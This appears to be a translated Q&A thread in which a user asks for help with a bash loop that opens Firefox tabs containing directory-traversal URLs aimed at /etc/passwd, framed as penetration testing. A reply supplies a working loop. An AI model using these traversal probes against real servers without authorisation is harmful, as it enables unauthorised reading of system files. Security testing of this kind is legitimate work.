【发布时间】:2017-09-14 15:52:11
【问题描述】:
我正在尝试在 bash 中编写一个渗透测试脚本,以便能够使用一些参数在 Firefox 中循环和打开一些选项卡
我想要做的就是像这样打开 3 个标签:
http://dmn.com/../etc/passwd
http://dmn.com/../../etc/passwd
http://dmn.com/../../../etc/passwd
我正在处理的代码是这样的,我不是 bash 脚本编写者,所以我还在学习:
chrs = "%5C.."
COUNTER=0
while [ $COUNTER -lt 3 ]; do
firefox -new-tab $chrs$1$2
let COUNTER=COUNTER+1
done
变量 $1 和 $2 将是 url,然后是我要查找的文件通过 cli 参数传递。我知道为什么这不起作用,因为它所做的只是在三个不同的窗口中打开 firefox,我希望它做的是打开 3 个不同的选项卡并打印出 $chrs 与循环一样多次,所以第一个打印出来的时间是 1 次,然后是 2 次,然后是 3 次。
非常感谢任何帮助。
【问题讨论】:
-
chrs=/..; for _ in {1..3}; do firefox -new-tab "http://dmn.com$chrs/etc/passwd"; chrs+=/..; done -
非常感谢您的回复,我尝试了以下方法,但它几乎可以工作,但现在的问题是,由于某种原因它没有在 url 中输出变量 $chrs,如下是我使用的以下代码
-
$chrs = "../" $chrs; {1..3} 中的 _;做 Firefox --new-tab $1$chrs$2; $chrs+=$chrs;完成
标签: bash